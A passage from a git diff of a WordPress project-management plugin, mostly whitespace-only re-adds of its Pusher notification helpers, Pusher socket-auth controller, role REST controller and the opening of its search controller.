- // if ( $file->type == 'doc' ) { - // return pm_get_project_page( $is_admin ) . '#/projects/' . $project_id . '/files/' . $file->parent . '/doc/' . $file_id; - // } - - // if ( $file->type == 'link' ) { - // return pm_get_project_page( $is_admin ) . '#/projects/' . $project_id . '/files/' . $file->parent . '/link/' . $file_id; - // } - - // if ( $file->type == 'pro_file' || $file->type == 'file' ) { - - // return pm_get_project_page( $is_admin ) . '#/projects/' . $project_id . '/files/' . $file->parent . '/files/' . $file_id; - // } -} - -function PM_pusher_after_new_message( $message, $params, $discussion_board ) { - $channel = PM_pusher_channel(); - $event = PM_pusher_get_event( 'message_create' ); - $creator = $discussion_board->creator->display_name; - $title = $discussion_board->title; - - $users = empty( $params['notify_users'] ) ? [] : explode( ',', $params['notify_users'] ); - $url = PM_pusher_message_url( $params['project_id'], $message['data']['id'] ); - $nc_message = sprintf( - '%1$s %2$s %3$s', - ucfirst( $creator ), - __( 'started a new discussion on', 'wedevs-project-manager' ), - $title - ); - - foreach ( $users as $user_id ) { - if ( get_current_user_id() == $user_id ) { - continue; - } - - $channels[] = $channel . '-' . $user_id; - - pm_wp_notification_center( - get_current_user_id(), - $user_id, - wp_kses_post( htmlspecialchars_decode( $nc_message ) ), - $url - ); - } - - if ( empty( $channels ) ) { - return; - } - - - $message = sprintf( '%s %s', __( "You've got a new", 'wedevs-project-manager' ), __( 'messsage', 'wedevs-project-manager' ) ); - - Pusher::trigger( $channels, $event, array( - 'title' => wp_kses_post( htmlspecialchars_decode( $message ) ), - 'message' => '' - )); -} - -function PM_pusher_after_update_message( $mesage, $params, $discussion_board ) { - $channel = PM_pusher_channel(); - $event = PM_pusher_get_event( 'message_update' ); - - $updater = $discussion_board->updater->display_name; - $title = $discussion_board->title; - - $users = empty( $params['notify_users'] ) ? [] : explode( ',', $params['notify_users'] ); - $url = PM_pusher_message_url( $params['project_id'], $mesage['data']['id'] ); - - $nc_message = sprintf( - '%1$s %2$s %3$s', - ucfirst( $updater ), - __( 'updated discussion on a', 'wedevs-project-manager' ), - $title - ); - - foreach ( $users as $user_id ) { - if ( get_current_user_id() == $user_id ) { - continue; - } - - $channels[] = $channel . '-' . $user_id; - - pm_wp_notification_center( - get_current_user_id(), - $user_id, - wp_kses_post( htmlspecialchars_decode( $nc_message ) ), - $url - ); - } - - if ( empty( $channels ) ) { - return; - } - - $message = sprintf( '%s %s', __( 'Message', 'wedevs-project-manager' ), __( 'has been updated', 'wedevs-project-manager' ) ); - - Pusher::trigger( $channels, $event, array( - 'title' => wp_kses_post( htmlspecialchars_decode( $message ) ), - 'message' => '' - )); -} - -function PM_pusher_message_url( $project_id, $message_id ) { - $is_admin = empty( $_POST['is_admin'] ) ? false : true; - return pm_get_discuss_url( $project_id, $message_id, $is_admin ); -} - -function pm_wp_notification_center( $sender_id, $receiver_id, $message, $anchor='' ) { - - if ( ! function_exists( 'wd_notify' ) ) { - return; - } - - wd_notify()->to( $receiver_id ) - ->body( $message ) - ->from_user( $sender_id ) - ->link( $anchor ) - ->send(); -} - - - - - - +getOriginal(); + + foreach ( $model->getDirty() as $key => $value ) { + switch ( $key ) { + case 'title': + $content['title'] = $value; + break; + + case 'description': + $content['description'] = $value; + break; + + case 'due_date': + $formated_due = format_date( $value ); + $original_due = date( 'Y-m-d', strtotime( $original['due_date'] ) ); + $updated_due = date( 'Y-m-d', strtotime( $formated_due['date'] ) ); + + if ( $original_due != $updated_due ) { + $content['due_date'] = $formated_due['date']; + } + break; + } + } + + return $content; +} + +function PM_pusher_before_assignees( $task, $assignees ) { + $is_admin = empty( intval( pm_clean( $_POST['is_admin'] ) ) ) ? false : true; + $task = pm_get_task( $task->id ); + $task = $task['data']; + $task_user_ids = wp_list_pluck( $task['assignees']['data'], 'id' ); + + $id_diff = array_diff( $assignees, $task_user_ids ); + + $task_title = $task['title']; + $url = pm_get_task_url( $task['project_id'], $task['task_list']['data']['id'], $task['id'], $is_admin ); + + $message = sprintf( '%s %s', __( "You've been assigned a new" ), __( 'task', 'wedevs-project-manager' ) ); + $nc_message = sprintf( '%1$s %2$s %3$s', __( "You've assigned in", 'wedevs-project-manager' ), $task_title, __( 'task', 'wedevs-project-manager' ) ); + + $channel = PM_pusher_channel(); + $event = PM_pusher_get_event( 'task_update' ); + + foreach ( $id_diff as $user_id ) { + if ( get_current_user_id() == $user_id ) { + continue; + } + + $channels[] = $channel . '-' . $user_id; + + pm_wp_notification_center( + get_current_user_id(), + $user_id, + wp_kses_post( htmlspecialchars_decode( $nc_message ) ), + $url + ); + } + + if ( empty( $channels ) ) { + return; + } + + Pusher::trigger( $channels, $event, array( + 'title' => '', + 'message' => wp_kses_post( htmlspecialchars_decode( $message ) ) + )); +} + +//For task update status +function PM_pusher_update_task_status( $new, $old, $task ) { + $is_admin = empty( intval( pm_clean( $_POST['is_admin'] ) ) ) ? false : true; + $task = pm_get_task( $task->id ); + $task = $task['data']; + $status = $task['status']; + + $task_title = $task['title']; + $task_url = pm_get_task_url( $task['project_id'], $task['task_list']['data']['id'], $task['id'], $is_admin ); + + if ( $status == 'complete' ) { + $message = sprintf( '%s %s', $task_url, __( 'Task', 'wedevs-project-manager' ), __( 'has been completed', 'wedevs-project-manager' ) ); + $nc_message = sprintf( '%1$s %2$s', $task_title, __( 'has been completed', 'wedevs-project-manager' ) ); + } + + if ( $status == 'incomplete' ) { + $message = sprintf( '%s %s', $task_url, __( 'Task', 'wedevs-project-manager' ) , __( 'has been re-opened', 'wedevs-project-manager' ) ); + $nc_message = sprintf( '%1$s %2$s', $task_title, __( 'has been re-opened', 'wedevs-project-manager' ) ); + } + + $channel = PM_pusher_channel(); + $event = PM_pusher_get_event( 'task_update' ); + + foreach ( $task['assignees']['data'] as $key => $user ) { + if ( get_current_user_id() == $user['id'] ) { + continue; + } + + $channels[] = $channel . '-' . $user['id']; + + pm_wp_notification_center( + get_current_user_id(), + $user['id'], + wp_kses_post( htmlspecialchars_decode( $nc_message ) ), + $task_url + ); + } + + if ( empty( $channels ) ) { + return; + } + + Pusher::trigger( $channels, $event, array( + 'title' => wp_kses_post( htmlspecialchars_decode( $message ) ), + 'message' => '' + )); +} + +function PM_pusher_update_task( $model ) { + $class_name = class_basename( $model ); + + if ( $class_name != 'Task' ) { + return; + } + + $original = $model->getOriginal(); + $task = pm_get_task( $original['id'] ); + $task = $task['data']; + + $content = PM_pusher_has_task_update_content( $model ); + + foreach ( $content as $cont_type => $cont_value ) { + if ( empty( $cont_value ) ) { + unset( $content[$cont_type] ); + } + } + + if ( empty( $content ) ) { + return; + } + + $is_admin = empty( intval( pm_clean( $_POST['is_admin'] ) ) ) ? false : true; + $url = pm_get_task_url( $task['project_id'], $task['task_list']['data']['id'], $task['id'], $is_admin ); + + if ( count( $content ) == 1 ) { + + if ( ! empty( $content['title'] ) ) { + $update_key = __( 'title', 'wedevs-project-manager' ); + } else if( ! empty( $content['description'] ) ) { + $update_key = __( 'description', 'wedevs-project-manager' ); + } else if( ! empty( $content['due_date'] ) ) { + $update_key = __( 'due date', 'wedevs-project-manager' ); + } + + $message = sprintf( '%s %s %s', __( 'Task' ), $update_key, __('has been updated', 'wedevs-project-manager') ); + $nc_message = sprintf( '%1$s %2$s %3$s', $task['title'], $update_key, __('has been updated', 'wedevs-project-manager') ); + } else { + $message = sprintf( '%s %s', __( 'Task' ), __('has been updated', 'wedevs-project-manager') ); + $nc_message = sprintf( '%1$s %2$s', $task['title'], __('has been updated', 'wedevs-project-manager') ); + } + + $channel = PM_pusher_channel(); + $event = PM_pusher_get_event( 'task_update' ); + + foreach ( $task['assignees']['data'] as $key => $user ) { + if ( get_current_user_id() == $user['id'] ) { + continue; + } + + $channels[] = $channel . '-' . $user['id']; + + pm_wp_notification_center( + get_current_user_id(), + $user['id'], + wp_kses_post( htmlspecialchars_decode( $nc_message ) ), + $url + ); + } + + if ( empty( $channels ) ) { + return; + } + + Pusher::trigger( $channels, $event, array( + 'title' => wp_kses_post( htmlspecialchars_decode( $message ) ), + 'message' => '' + )); +} + +function PM_pusher_after_new_comment( $comment, $params ) { + $type = $comment['data']['commentable_type']; + $creator = $comment['data']['creator']['data']['display_name']; + $title = ''; + + switch ( $type ) { + case 'task_list': + $task_list = Task_List::get_results([ 'id' => $params['commentable_id']]); + $title = $task_list['data']['title']; + + $url = PM_pusher_task_list_url( $params['project_id'], $params['commentable_id'] ); + $on = __( 'task list', 'wedevs-project-manager' ); + break; + + case 'task': + $task = Task::get_results([ 'id' => $params['commentable_id']]); + $title = $task['data']['title']; + + $url = PM_pusher_task_url( $params['project_id'], false, $params['commentable_id'] ); + $on = __( 'task', 'wedevs-project-manager' ); + break; + + case 'file': + + $url = PM_pusher_file_url( $params['project_id'], $params['commentable_id'] ); + $title = $on = __( 'file', 'wedevs-project-manager' ); + break; + + case 'discussion_board': + $discuss = Discussion_Board::find( $params['commentable_id'] ); + $title = $discuss->title; + + $url = PM_pusher_message_url( $params['project_id'], $params['commentable_id'] ); + $on = __( 'discussion board', 'wedevs-project-manager' ); + break; + } + + $channel = PM_pusher_channel(); + $event = PM_pusher_get_event( 'new_comment' ); + + $users = empty( $params['notify_users'] ) ? [] : explode( ',', $params['notify_users'] ); + + $message = sprintf( + '%s %s %s', + ucfirst( $creator ), + __( 'commented on a', 'wedevs-project-manager' ), + $url, + $on + ); + + $nc_message = sprintf( + '%1$s %2$s %3$s', + ucfirst( $creator ), + __( 'commented on a', 'wedevs-project-manager' ), + $title + ); + + foreach ( $users as $user_id ) { + if ( get_current_user_id() == $user_id ) { + continue; + } + + $channels[] = $channel . '-' . $user_id; + + pm_wp_notification_center( + get_current_user_id(), + $user_id, + wp_kses_post( htmlspecialchars_decode( $nc_message ) ), + $url + ); + } + + if ( empty( $channels ) ) { + return; + } + + Pusher::trigger( $channels, $event, array( + 'title' => wp_kses_post( htmlspecialchars_decode( $message ) ), + 'message' => '' + )); +} + +function PM_pusher_after_update_comment( $comment, $params ) { + $type = $comment['data']['commentable_type']; + $creator = $comment['data']['creator']['data']['display_name']; + + switch ( $type ) { + case 'task_list': + + $task_list = Task_List::get_results([ 'id' => $params['commentable_id']]); + $title = $task_list['data']['title']; + $url = PM_pusher_task_list_url( $params['project_id'], $params['commentable_id'] ); + $on = __( 'task list', 'wedevs-project-manager' ); + break; + + case 'task': + + $task = Task::get_results([ 'id' => $params['commentable_id']]); + $title = $task['data']['title']; + $url = PM_pusher_task_url( $params['project_id'], false, $params['commentable_id'] ); + $on = __( 'task', 'wedevs-project-manager' ); + break; + + case 'file': + $url = PM_pusher_file_url( $params['project_id'], $params['commentable_id'] ); + $title = $on = __( 'file', 'wedevs-project-manager' ); + break; + + case 'discussion_board': + + $discuss = Discussion_Board::find( $params['commentable_id'] ); + $title = $discuss->title; + $url = PM_pusher_message_url( $params['project_id'], $params['commentable_id'] ); + $on = __( 'discussion board', 'wedevs-project-manager' ); + break; + } + + $channel = PM_pusher_channel(); + $event = PM_pusher_get_event( 'new_comment' ); + + $users = empty( $params['notify_users'] ) ? [] : explode( ',', $params['notify_users'] ); + + $nc_message = sprintf( + '%1$s %2$s %3$s', + ucfirst( $creator ), + __( 'updated comment on a', 'wedevs-project-manager' ), + $title + ); + + foreach ( $users as $user_id ) { + if ( get_current_user_id() == $user_id ) { + continue; + } + + $channels[] = $channel . '-' . $user_id; + + pm_wp_notification_center( + get_current_user_id(), + $user_id, + wp_kses_post( htmlspecialchars_decode( $nc_message ) ), + $url + ); + } + + if ( empty( $channels ) ) { + return; + } + + $message = sprintf( + '%s %s %s', + ucfirst( $creator ), + __( 'updated his comment on a', 'wedevs-project-manager' ), + $url, + $on + ); + + Pusher::trigger( $channels, $event, array( + 'title' => wp_kses_post( htmlspecialchars_decode( $message ) ), + 'message' => '' + )); +} + +function PM_pusher_task_list_url( $project_id, $list_id ) { + $is_admin = empty( intval( pm_clean( $_POST['is_admin'] ) ) ) ? false : true; + + return pm_get_list_url( $project_id, $list_id, $is_admin ); +} + +function PM_pusher_task_url( $project_id, $list_id, $task_id ) { + $is_admin = empty( intval( pm_clean( $_POST['is_admin'] ) ) ) ? 'frontend' : 'admin'; + + if ( ! $list_id ) { + return pm_get_project_page( $is_admin ) . '#/projects/' . $project_id . '/task-lists/tasks/' . $task_id; + } + + return pm_get_task_url( $project_id, $list_id, $task_id, $is_admin ); +} + +function PM_pusher_file_url( $project_id, $file_id ) { + return; + // $file = File::find( $file_id ); + // $is_admin = empty( intval( pm_clean( $_POST['is_admin'] ) ) ) ? 'frontend' : 'admin'; + + // if ( $file->type == 'doc' ) { + // return pm_get_project_page( $is_admin ) . '#/projects/' . $project_id . '/files/' . $file->parent . '/doc/' . $file_id; + // } + + // if ( $file->type == 'link' ) { + // return pm_get_project_page( $is_admin ) . '#/projects/' . $project_id . '/files/' . $file->parent . '/link/' . $file_id; + // } + + // if ( $file->type == 'pro_file' || $file->type == 'file' ) { + + // return pm_get_project_page( $is_admin ) . '#/projects/' . $project_id . '/files/' . $file->parent . '/files/' . $file_id; + // } +} + +function PM_pusher_after_new_message( $message, $params, $discussion_board ) { + $channel = PM_pusher_channel(); + $event = PM_pusher_get_event( 'message_create' ); + $creator = $discussion_board->creator->display_name; + $title = $discussion_board->title; + + $users = empty( $params['notify_users'] ) ? [] : explode( ',', $params['notify_users'] ); + $url = PM_pusher_message_url( $params['project_id'], $message['data']['id'] ); + $nc_message = sprintf( + '%1$s %2$s %3$s', + ucfirst( $creator ), + __( 'started a new discussion on', 'wedevs-project-manager' ), + $title + ); + + foreach ( $users as $user_id ) { + if ( get_current_user_id() == $user_id ) { + continue; + } + + $channels[] = $channel . '-' . $user_id; + + pm_wp_notification_center( + get_current_user_id(), + $user_id, + wp_kses_post( htmlspecialchars_decode( $nc_message ) ), + $url + ); + } + + if ( empty( $channels ) ) { + return; + } + + + $message = sprintf( '%s %s', __( "You've got a new", 'wedevs-project-manager' ), __( 'messsage', 'wedevs-project-manager' ) ); + + Pusher::trigger( $channels, $event, array( + 'title' => wp_kses_post( htmlspecialchars_decode( $message ) ), + 'message' => '' + )); +} + +function PM_pusher_after_update_message( $mesage, $params, $discussion_board ) { + $channel = PM_pusher_channel(); + $event = PM_pusher_get_event( 'message_update' ); + + $updater = $discussion_board->updater->display_name; + $title = $discussion_board->title; + + $users = empty( $params['notify_users'] ) ? [] : explode( ',', $params['notify_users'] ); + $url = PM_pusher_message_url( $params['project_id'], $mesage['data']['id'] ); + + $nc_message = sprintf( + '%1$s %2$s %3$s', + ucfirst( $updater ), + __( 'updated discussion on a', 'wedevs-project-manager' ), + $title + ); + + foreach ( $users as $user_id ) { + if ( get_current_user_id() == $user_id ) { + continue; + } + + $channels[] = $channel . '-' . $user_id; + + pm_wp_notification_center( + get_current_user_id(), + $user_id, + wp_kses_post( htmlspecialchars_decode( $nc_message ) ), + $url + ); + } + + if ( empty( $channels ) ) { + return; + } + + $message = sprintf( '%s %s', __( 'Message', 'wedevs-project-manager' ), __( 'has been updated', 'wedevs-project-manager' ) ); + + Pusher::trigger( $channels, $event, array( + 'title' => wp_kses_post( htmlspecialchars_decode( $message ) ), + 'message' => '' + )); +} + +function PM_pusher_message_url( $project_id, $message_id ) { + $is_admin = empty( $_POST['is_admin'] ) ? false : true; + return pm_get_discuss_url( $project_id, $message_id, $is_admin ); +} + +function pm_wp_notification_center( $sender_id, $receiver_id, $message, $anchor='' ) { + + if ( ! function_exists( 'wd_notify' ) ) { + return; + } + + wd_notify()->to( $receiver_id ) + ->body( $message ) + ->from_user( $sender_id ) + ->link( $anchor ) + ->send(); +} + + + + + + diff --git a/src/Pusher/Libs/filter.php b/src/Pusher/Libs/filter.php index 1e932566d..60c1ac1a4 100644 --- a/src/Pusher/Libs/filter.php +++ b/src/Pusher/Libs/filter.php @@ -1,12 +1,12 @@ - 'create-task', //Event - 'task_update' => 'update-task', //Event - 'new_comment' => 'new-comment', //Event - 'message_create' => 'create-message', //Event - 'message_update' => 'update-message', //Event - ]; -} - -function pm_pusher_get_event( $event_key ) { - - $events = pm_pusher_events(); - - return $events[$event_key]; -} - - + 'create-task', //Event + 'task_update' => 'update-task', //Event + 'new_comment' => 'new-comment', //Event + 'message_create' => 'create-message', //Event + 'message_update' => 'update-message', //Event + ]; +} + +function pm_pusher_get_event( $event_key ) { + + $events = pm_pusher_events(); + + return $events[$event_key]; +} + + diff --git a/src/Pusher/Pusher.php b/src/Pusher/Pusher.php index 55f887550..9713b74ff 100644 --- a/src/Pusher/Pusher.php +++ b/src/Pusher/Pusher.php @@ -1,90 +1,90 @@ -init(); - $this->actions(); - $this->filters(); - } - - public function filters() { - add_filter( 'pm_localize', 'PM_pusher_localize' ); - } - - public function init() { - $this->libs(); - } - - public function libs() { - $files = glob( __DIR__ . "/Libs/*.php" ); - - if ( $files === false ) { - throw new RuntimeException( "Failed to glob for lib files" ); - } - - foreach ($files as $file) { - require_once $file; - } - - unset( $file ); - unset( $files ); - } - - public function actions() { - add_action( 'admin_enqueue_scripts', [$this, 'scripts'] ); - add_action( 'wp_enqueue_scripts', [$this, 'scripts'] ); - add_action( 'PM_load_router_files', [$this, 'router'] ); - add_action( 'pm_update_task_status', 'PM_pusher_update_task_status', 10, 3 ); - add_action( 'pm_updated', 'PM_pusher_update_task' ); - add_action( 'pm_before_assignees', 'PM_pusher_before_assignees', 10, 2 ); - add_action( 'pm_after_new_comment', 'PM_pusher_after_new_comment', 10, 2 ); - add_action( 'pm_after_update_comment', 'PM_pusher_after_update_comment', 10, 2 ); - add_action( 'pm_after_new_message', 'PM_pusher_after_new_message', 10, 3 ); - add_action( 'pm_after_update_message', 'PM_pusher_after_update_message', 10, 3 ); - } - - public function router( $files ) { - $router_files = glob( __DIR__ . "/routes/*.php" ); - - return array_merge( $files, $router_files ); - } - - public function scripts() { - $path = filemtime( pm_config('define.path') . '/src/Pusher/views/assets/vendor/pusher-v5.0.2.min.js' ); - wp_enqueue_script( 'pm-pusher-library', pm_config('define.url') . 'src/Pusher/views/assets/vendor/pusher-v5.0.2.min.js', array('jquery'), $path, true ); - - if ( isset( $_GET['page'] ) && $_GET['page'] == 'pm_projects' ) { - wp_enqueue_script( 'pm-pusher-jquery', pm_config('define.url') . 'src/Pusher/views/assets/vendor/pusher-jquery.js', array('jquery', 'pm-pusher-library', 'pm-toastr'), time(), true ); - } else { - wp_enqueue_script( 'pm-toastr-pusher', plugins_url( 'views/assets/vendor/toastr/toastr.min.js', __FILE__ ), array('jquery'), $path, true ); - wp_enqueue_script( 'pm-pusher-jquery', pm_config('define.url') . 'src/Pusher/views/assets/vendor/pusher-jquery.js', array('jquery', 'pm-pusher-library', 'pm-toastr-pusher'), time(), true ); - wp_enqueue_style( 'pm-toastr-pusher', plugins_url( 'views/assets/css/toastr/toastr.min.css', __FILE__ ), false, 'v2.1.3', 'all' ); - } - - $localize = [ - 'base_url' => esc_url_raw( get_rest_url() ), - 'pusher_app_key' => Auth::app_key(), - 'pusher_app_id' => Auth::app_id(), - 'pusher_cluster' => Auth::app_cluster(), - 'user_id' => get_current_user_id(), - 'is_admin' => is_admin(), - 'channel' => pm_pusher_channel(), - 'events' => pm_pusher_events(), - 'api_base_url' => esc_url_raw( get_rest_url() ), - 'api_namespace' => pm_api_namespace(), - ]; - - wp_localize_script( 'pm-pusher-jquery', 'PM_Pusher_Vars', $localize ); - - wp_enqueue_style( 'pm-pro-pusher-notification', plugins_url( 'views/assets/css/pusher.css', __FILE__ ), false, time(), 'all' ); - } -} - - - - +init(); + $this->actions(); + $this->filters(); + } + + public function filters() { + add_filter( 'pm_localize', 'PM_pusher_localize' ); + } + + public function init() { + $this->libs(); + } + + public function libs() { + $files = glob( __DIR__ . "/Libs/*.php" ); + + if ( $files === false ) { + throw new RuntimeException( "Failed to glob for lib files" ); + } + + foreach ($files as $file) { + require_once $file; + } + + unset( $file ); + unset( $files ); + } + + public function actions() { + add_action( 'admin_enqueue_scripts', [$this, 'scripts'] ); + add_action( 'wp_enqueue_scripts', [$this, 'scripts'] ); + add_action( 'PM_load_router_files', [$this, 'router'] ); + add_action( 'pm_update_task_status', 'PM_pusher_update_task_status', 10, 3 ); + add_action( 'pm_updated', 'PM_pusher_update_task' ); + add_action( 'pm_before_assignees', 'PM_pusher_before_assignees', 10, 2 ); + add_action( 'pm_after_new_comment', 'PM_pusher_after_new_comment', 10, 2 ); + add_action( 'pm_after_update_comment', 'PM_pusher_after_update_comment', 10, 2 ); + add_action( 'pm_after_new_message', 'PM_pusher_after_new_message', 10, 3 ); + add_action( 'pm_after_update_message', 'PM_pusher_after_update_message', 10, 3 ); + } + + public function router( $files ) { + $router_files = glob( __DIR__ . "/routes/*.php" ); + + return array_merge( $files, $router_files ); + } + + public function scripts() { + $path = filemtime( pm_config('define.path') . '/src/Pusher/views/assets/vendor/pusher-v5.0.2.min.js' ); + wp_enqueue_script( 'pm-pusher-library', pm_config('define.url') . 'src/Pusher/views/assets/vendor/pusher-v5.0.2.min.js', array('jquery'), $path, true ); + + if ( isset( $_GET['page'] ) && $_GET['page'] == 'pm_projects' ) { + wp_enqueue_script( 'pm-pusher-jquery', pm_config('define.url') . 'src/Pusher/views/assets/vendor/pusher-jquery.js', array('jquery', 'pm-pusher-library', 'pm-toastr'), time(), true ); + } else { + wp_enqueue_script( 'pm-toastr-pusher', plugins_url( 'views/assets/vendor/toastr/toastr.min.js', __FILE__ ), array('jquery'), $path, true ); + wp_enqueue_script( 'pm-pusher-jquery', pm_config('define.url') . 'src/Pusher/views/assets/vendor/pusher-jquery.js', array('jquery', 'pm-pusher-library', 'pm-toastr-pusher'), time(), true ); + wp_enqueue_style( 'pm-toastr-pusher', plugins_url( 'views/assets/css/toastr/toastr.min.css', __FILE__ ), false, 'v2.1.3', 'all' ); + } + + $localize = [ + 'base_url' => esc_url_raw( get_rest_url() ), + 'pusher_app_key' => Auth::app_key(), + 'pusher_app_id' => Auth::app_id(), + 'pusher_cluster' => Auth::app_cluster(), + 'user_id' => get_current_user_id(), + 'is_admin' => is_admin(), + 'channel' => pm_pusher_channel(), + 'events' => pm_pusher_events(), + 'api_base_url' => esc_url_raw( get_rest_url() ), + 'api_namespace' => pm_api_namespace(), + ]; + + wp_localize_script( 'pm-pusher-jquery', 'PM_Pusher_Vars', $localize ); + + wp_enqueue_style( 'pm-pro-pusher-notification', plugins_url( 'views/assets/css/pusher.css', __FILE__ ), false, time(), 'all' ); + } +} + + + + diff --git a/src/Pusher/Src/Controllers/Pusher_Controller.php b/src/Pusher/Src/Controllers/Pusher_Controller.php index c9daf0af7..53a8c64b9 100644 --- a/src/Pusher/Src/Controllers/Pusher_Controller.php +++ b/src/Pusher/Src/Controllers/Pusher_Controller.php @@ -1,47 +1,47 @@ -get_param( 'channel_name' ); - $socket_id = $request->get_param( 'socket_id' ); - - if ( is_user_logged_in() ) { - $pusher = new Auth(); - echo $pusher->socket_auth( $channel_name, $socket_id ); - exit; - - } else { - header('', true, 403); - echo "Forbidden"; - exit; - } - } -} - - +get_param( 'channel_name' ); + $socket_id = $request->get_param( 'socket_id' ); + + if ( is_user_logged_in() ) { + $pusher = new Auth(); + echo $pusher->socket_auth( $channel_name, $socket_id ); + exit; + + } else { + header('', true, 403); + echo "Forbidden"; + exit; + } + } +} + + diff --git a/src/Role/Controllers/Role_Controller.php b/src/Role/Controllers/Role_Controller.php index a857b5b55..ba6182497 100644 --- a/src/Role/Controllers/Role_Controller.php +++ b/src/Role/Controllers/Role_Controller.php @@ -1,64 +1,64 @@ -paginate(); - $role_collection = $roles->getCollection(); - $resource = new Collection( $role_collection, new Role_Transformer ); - - $resource->setPaginator( new IlluminatePaginatorAdapter( $roles ) ); - - return $this->get_response( $resource ); - } - - public function show( WP_REST_Request $request ) { - $id = $request->get_param('id'); - $role = Role::where('status', 1)->find( $id ); - $resource = new Item( $role, new Role_Transformer ); - - return $this->get_response( $resource ); - } - - public function store( WP_REST_Request $request ) { - // Extraction of no empty inputs and create a role - $data = $this->extract_non_empty_values( $request ); - $role = Role::create( $data ); - - // Transforming database model instance - $resource = new Item( $role, new Role_Transformer ); - - return $this->get_response( $resource ); - } - - public function update( WP_REST_Request $request ) { - $data = $this->extract_non_empty_values( $request ); - $role = Role::find( $request->get_param( 'id' ) ); - - $role->update( $data ); - - $resource = new Item( $role, new Role_Transformer ); - - return $this->get_response( $resource ); - } - - public function destroy( WP_REST_Request $request ) { - $id = $request->get_param( 'id' ); - $role = Role::find( $id ); - - $role->delete(); - } +paginate(); + $role_collection = $roles->getCollection(); + $resource = new Collection( $role_collection, new Role_Transformer ); + + $resource->setPaginator( new IlluminatePaginatorAdapter( $roles ) ); + + return $this->get_response( $resource ); + } + + public function show( WP_REST_Request $request ) { + $id = $request->get_param('id'); + $role = Role::where('status', 1)->find( $id ); + $resource = new Item( $role, new Role_Transformer ); + + return $this->get_response( $resource ); + } + + public function store( WP_REST_Request $request ) { + // Extraction of no empty inputs and create a role + $data = $this->extract_non_empty_values( $request ); + $role = Role::create( $data ); + + // Transforming database model instance + $resource = new Item( $role, new Role_Transformer ); + + return $this->get_response( $resource ); + } + + public function update( WP_REST_Request $request ) { + $data = $this->extract_non_empty_values( $request ); + $role = Role::find( $request->get_param( 'id' ) ); + + $role->update( $data ); + + $resource = new Item( $role, new Role_Transformer ); + + return $this->get_response( $resource ); + } + + public function destroy( WP_REST_Request $request ) { + $id = $request->get_param( 'id' ); + $role = Role::find( $id ); + + $role->delete(); + } } \ No newline at end of file diff --git a/src/Role/Transformers/Role_Transformer.php b/src/Role/Transformers/Role_Transformer.php index 319115392..cbefd1cbd 100644 --- a/src/Role/Transformers/Role_Transformer.php +++ b/src/Role/Transformers/Role_Transformer.php @@ -1,19 +1,19 @@ - (int) $item->id, - 'title' => $item->title, - 'description' => $item->description, - 'created_at' => format_date( $item->created_at ), - 'slug' => $item->slug - ]; - } + (int) $item->id, + 'title' => $item->title, + 'description' => $item->description, + 'created_at' => format_date( $item->created_at ), + 'slug' => $item->slug + ]; + } } \ No newline at end of file diff --git a/src/Search/Controllers/Search_Controller.php b/src/Search/Controllers/Search_Controller.php index 782360049..8c6a86b26 100644 --- a/src/Search/Controllers/Search_Controller.php +++ b/src/Search/Controllers/Search_Controller.php @@ -1,442 +1,442 @@ -get_param( 'query' ); - $project_id = $request->get_param( 'project_id' ); - $model = $request->get_param( 'model' ); //[milestone, discussion_board, task_list, task] - $model = empty( $model ) ? '' : $model; - - if ( empty( trim( $string ) ) ) { - return $this->get_default_result(); - } - - if ( $project_id || !empty( $model ) ) { - return $this->get_result_for_project( $string, $project_id, $model ); - } - return $this->get_all_result( $string ); - } - - public function searchTopBar( WP_REST_Request $request ) { - $string = $request->get_param( 'query' ); - $type = $request->get_param( 'type' ); - $model = $request->get_param( 'model' ); //[milestone, discussion_board, task_list, task] - $model = empty( $model ) ? '' : $model; - - if ( empty( trim( $string ) ) ) { - return $this->get_default_result(); - } - - return $this->search_project_type( $string, 0 ); - } - - public function search_by_client( WP_REST_Request $request ) { - $string = $request->get_param('query'); - $current_user_id = get_current_user_id(); - $projects = []; - - $project_ids = []; - - if ( ! pm_has_manage_capability( $current_user_id ) ) { - $project_ids = $this->user_in_projects( $current_user_id ); - } - - - $users = User::with( 'projects' ) - ->where( 'display_name', 'like', '%'.$string.'%' ) - ->orWhere( 'user_login', 'like', '%'.$string.'%' ) - ->orWhere( 'user_nicename', 'like', '%'.$string.'%' ) - ->orWhere( 'user_email', 'like', '%'.$string.'%' ) - ->get(); - - - $users->map( function( $user ) use ( &$projects, $project_ids ) { - $user->projects->map( function( $project ) use ( &$projects, $project_ids ) { - - if ( ! empty( $project_ids ) ) { - if ( in_array( $project->id, $project_ids ) ) { - $projects[] = $project->toArray(); - } - } else { - $projects[] = $project->toArray(); - } - }); - - }); - - if ( empty( $projects ) ) { - $projects = [ [ "no_result" => __( "No results found.", 'wedevs-project-manager' )] ]; - } - - return $projects; - } - - - - public function get_result_for_project ( $string, $project_id, $model ) { - if ( ! $string ) { - return []; - } - $items = []; - - if ( 'tasks' === $model ) { - $items = array_merge( $items, $this->search_in_tasks( $string, $project_id ) ); - } else if ( 'milestone'=== $model ) { - $items = array_merge($items, $this->search_in_broad( $string, $project_id, ['milestone'] ) ); - } else if ( 'discussion_board' === $model ) { - $items = array_merge( $items, $this->search_in_broad( $string, $project_id, ['discussion_board'] ) ); - } else if ( 'task_list'=== $model ) { - $items = array_merge( $items, $this->search_in_broad( $string, $project_id, ['task_list'] ) ); - } elseif ( 'project' === $model ) { - $items = array_merge( $items, $this->search_in_project( $string ) ); - } - - return $items; - - } - - public function get_all_result( $string, $project_id = false ) { - if ( ! $string ) { - return []; - } - $items = []; - - $items = array_merge( $items, $this->search_in_project( $string, $project_id ) ); - - $items = array_merge( $items, $this->search_in_tasks( $string, $project_id )); - - $items = array_merge( $items, $this->search_in_broad( $string, $project_id )); - - if ( empty( $items ) ) { - $items = [ [ "no_result" => __( "No results found.", 'wedevs-project-manager' ) ]]; - } - - return $items; - } - - function search_in_project ( $string, $user_id = false ) { - $user_id = empty($user_id) ? get_current_user_id() : $user_id; - - $projects = Project::where( 'title', 'like', '%'. $string.'%')->orderBy( 'created_at', 'DESC' );; - - // user is assigneed in project - if ( !pm_has_manage_capability( $user_id ) ){ - $projects = $projects->whereHas('assignees', function( $q ) use ( $user_id ) { - $q->where('user_id', $user_id ); - }); - } - - $projects = $projects->get(['id', 'title', 'description']); - - - return $this->get_items( $projects, 'project' ); - - } - - function search_project_type ( $string, $type = 0, $user_id = false) { - $user_id = empty($user_id) ? get_current_user_id() : $user_id; - - $projects = Project::where( 'title', 'like', '%'. $string.'%') - ->where( 'status', '=', $type); - - // user is assigneed in project - if ( !pm_has_manage_capability( $user_id ) ){ - $projects = 